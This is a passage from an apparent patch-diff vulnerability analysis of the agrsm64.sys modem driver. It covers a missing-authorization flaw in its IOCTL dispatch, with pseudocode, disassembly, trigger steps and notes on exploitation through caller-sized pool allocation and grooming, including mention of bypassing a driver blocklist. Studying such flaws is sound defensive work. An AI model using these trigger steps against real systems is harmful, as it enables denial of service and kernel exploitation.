&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The vendor neutralized the driver. The ~2,880-function unpatched build is replaced by a 7-function inert stub whose &lt;code&gt;DriverEntry&lt;/code&gt; immediately returns a failure status (&lt;code&gt;0xC0000424&lt;/code&gt;) and whose import table is empty, removing the entire device/IOCTL attack surface.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing Authorization (CWE-862)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;DriverEntry&lt;/code&gt; (0x12E008), &lt;code&gt;SerialIoControl&lt;/code&gt; (0x1297F8, IRP_MJ_DEVICE_CONTROL dispatch)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause &amp;amp; Exploitability:&lt;/strong&gt;
The unpatched driver creates a control device &lt;code&gt;\Device\LSISM_xface&lt;/code&gt; (&lt;code&gt;IoCreateDevice&lt;/code&gt;, DeviceType &lt;code&gt;0x1B&lt;/code&gt; = FILE_DEVICE_SERIAL_PORT, Exclusive = FALSE, DeviceExtensionSize = 0, DeviceCharacteristics = 0 so no &lt;code&gt;FILE_DEVICE_SECURE_OPEN&lt;/code&gt;) and exposes it via &lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt; at &lt;code&gt;\DosDevices\LSISM_xface&lt;/code&gt;. The creation call supplies no explicit security descriptor/SDDL, and the symbolic link is created with a world-accessible security descriptor. The IRP_MJ_DEVICE_CONTROL handler &lt;code&gt;SerialIoControl&lt;/code&gt; (registered at &lt;code&gt;MajorFunction[0xe]&lt;/code&gt;) reads the IOCTL code straight from the IRP stack location and dispatches roughly two dozen &lt;code&gt;IOCTL_SERIAL_*&lt;/code&gt; codes (&lt;code&gt;0x1B0004&lt;/code&gt; through &lt;code&gt;0x1B006C&lt;/code&gt;, METHOD_BUFFERED) without any caller-authorization check — no &lt;code&gt;SeAccessCheck&lt;/code&gt;, no privilege check, no &lt;code&gt;PreviousMode&lt;/code&gt; validation. The most security-relevant reachable side effect is a nonpaged pool allocation of caller-controlled size (IOCTL &lt;code&gt;0x1B0008&lt;/code&gt; / IOCTL_SERIAL_SET_QUEUE_SIZE) and unauthenticated writes into the driver's serial-configuration state in the device extension.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note on hardware-access routines:&lt;/strong&gt; the driver does call &lt;code&gt;MmMapIoSpace&lt;/code&gt; (&lt;code&gt;CSV92EXInit&lt;/code&gt;, 0x8406D) and does perform raw I/O-port &lt;code&gt;in&lt;/code&gt;/&lt;code&gt;out&lt;/code&gt; (&lt;code&gt;CAmrALiStop_0&lt;/code&gt;, 0x183E1 onward), but both operate only on the modem's own assigned hardware resources during device initialization — the physical address comes from the assigned hardware resource descriptor, and the port base is the device's assigned I/O base at &lt;code&gt;[ext+0x198]&lt;/code&gt;. Neither is reachable from, nor influenced by, the user-mode IOCTL surface, so neither provides an attacker-controlled memory or port primitive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A process opens &lt;code&gt;\\.\LSISM_xface&lt;/code&gt;, resolved through the world-accessible symbolic link.
2. &lt;code&gt;DeviceIoControl&lt;/code&gt; generates an IRP that reaches &lt;code&gt;SerialIoControl&lt;/code&gt; (&lt;code&gt;MajorFunction[0xe]&lt;/code&gt;).
3. &lt;code&gt;SerialIoControl&lt;/code&gt; reads the IOCTL code from the IRP stack location (&lt;code&gt;mov eax, [rbx+18h]&lt;/code&gt; at 0x12985A) and dispatches without checking caller privileges.
4. IOCTL &lt;code&gt;0x1B0008&lt;/code&gt; reads a size from the first DWORD of the input buffer and, if it exceeds the current queue size, calls &lt;code&gt;ExAllocatePoolWithTag(NonPagedPool, size, 'AGSM')&lt;/code&gt; at 0x129B35.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED DRIVER: DriverEntry (0x12E008) ===&lt;/span&gt;
&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_208&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Device&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;LSISM_xface&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoCreateDevice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_208&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DO_BUFFERED_IO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_1f8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DosDevices&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;LSISM_xface&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// World-accessible link; device created with no explicit SDDL and no FILE_DEVICE_SECURE_OPEN&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoCreateUnprotectedSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_1f8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_208&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Registers the IRP_MJ_DEVICE_CONTROL dispatch that performs no authorization check&lt;/span&gt;
&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MajorFunction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xe&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SerialIoControl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED DRIVER: DriverEntry (0x1C0006008) ===&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000424&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// immediate failure; no device, no symbolic link, no dispatch registration&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unprotected Device Exposure (&lt;code&gt;DriverEntry&lt;/code&gt;, 0x12E008):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;000000000012&lt;/span&gt;&lt;span class="n"&gt;E2F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RtlInitUnicodeString&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;builds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymbolicLinkName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\DosDevices\LSISM_xface&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;000000000012&lt;/span&gt;&lt;span class="n"&gt;E2F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aDeviceLsismXfa&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\Device\LSISM_xface&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;000000000012&lt;/span&gt;&lt;span class="n"&gt;E2FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;248&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;SymbolicLinkName&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymbolicLinkName&lt;/span&gt;
&lt;span class="mf"&gt;000000000012&lt;/span&gt;&lt;span class="n"&gt;E301&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoCreateUnprotectedSymbolicLink&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;accessible&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symbolic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The preceding &lt;code&gt;IoCreateDevice&lt;/code&gt; (0x12E2C3) passes DeviceType &lt;code&gt;0x1B&lt;/code&gt;, &lt;code&gt;Exclusive = 0&lt;/code&gt; and DeviceCharacteristics &lt;code&gt;0&lt;/code&gt; (no &lt;code&gt;FILE_DEVICE_SECURE_OPEN&lt;/code&gt;) with no explicit security descriptor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IOCTL Dispatch Without Authorization (&lt;code&gt;SerialIoControl&lt;/code&gt;, 0x1297F8):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;000000000012980&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extension&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;000000000012985&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoControlCode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xB8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;000000000012985&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;B0048h&lt;/span&gt;
&lt;span class="mf"&gt;0000000000129862&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeAccessCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PreviousMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Caller-Controlled Pool Allocation (IOCTL &lt;code&gt;0x1B0008&lt;/code&gt;, 0x129B11):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B11&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B15&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B1C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+140h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;bound&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exceed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_12A256&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B2D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NonPagedPool&lt;/span&gt;
&lt;span class="mi"&gt;0000000000129&lt;/span&gt;&lt;span class="n"&gt;B35&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AGSM&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Load the signed &lt;code&gt;agrsm64.sys&lt;/code&gt; driver on a target machine (requires a vulnerable-driver-blocklist bypass if enforced).&lt;/li&gt;
&lt;li&gt;From an unprivileged context, open a handle: &lt;code&gt;CreateFileW(L"\\\\.\\LSISM_xface", ...)&lt;/code&gt;. This resolves through the world-accessible symbolic link; the device is created without &lt;code&gt;FILE_DEVICE_SECURE_OPEN&lt;/code&gt; or an explicit SDDL.&lt;/li&gt;
&lt;li&gt;Issue &lt;code&gt;DeviceIoControl&lt;/code&gt; targeting &lt;code&gt;IOCTL_SERIAL_*&lt;/code&gt; codes in the range &lt;code&gt;0x1B0004&lt;/code&gt; through &lt;code&gt;0x1B006C&lt;/code&gt; (METHOD_BUFFERED).&lt;/li&gt;
&lt;li&gt;To trigger pool allocation: send IOCTL &lt;code&gt;0x1B0008&lt;/code&gt; with an input buffer whose first DWORD (greater than the current queue size at &lt;code&gt;[ext+0x140]&lt;/code&gt;) becomes the &lt;code&gt;NumberOfBytes&lt;/code&gt; passed to &lt;code&gt;ExAllocatePoolWithTag(NonPagedPool, ...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To trigger device-extension manipulation: send IOCTL &lt;code&gt;0x1B001C&lt;/code&gt; passing 0x14 bytes, copied into the device extension (offsets 0x184–0x194).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; unauthenticated modem-configuration changes and a caller-sized nonpaged pool allocation from a low-integrity process. No BSOD occurs during normal operation.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Verified reachable primitives (from the user-mode IOCTL surface):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Nonpaged pool allocation of caller-controlled size (IOCTL &lt;code&gt;0x1B0008&lt;/code&gt; / IOCTL_SERIAL_SET_QUEUE_SIZE): the size is taken from the input buffer and is only bounded to be larger than the current queue size, so a large value can be requested (pool-exhaustion / denial of service, pool grooming).&lt;/li&gt;
&lt;li&gt;Unauthenticated writes into the serial device-extension configuration fields (e.g. IOCTL &lt;code&gt;0x1B001C&lt;/code&gt; timeouts, &lt;code&gt;0x1B0018&lt;/code&gt; wait mask, line-control settings).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not present / not attacker-reachable:&lt;/strong&gt; the driver's &lt;code&gt;MmMapIoSpace&lt;/code&gt; (&lt;code&gt;CSV92EXInit&lt;/code&gt;, 0x8406D) and port-I/O (&lt;code&gt;CAmrALiStop_0&lt;/code&gt;, 0x183E1) operations act only on the device's own assigned hardware resources during initialization; they are not reachable from the IOCTL dispatch and their addresses are not attacker-influenced. No arbitrary kernel read/write primitive is exposed by the reachable IOCTL surface.&lt;/li&gt;
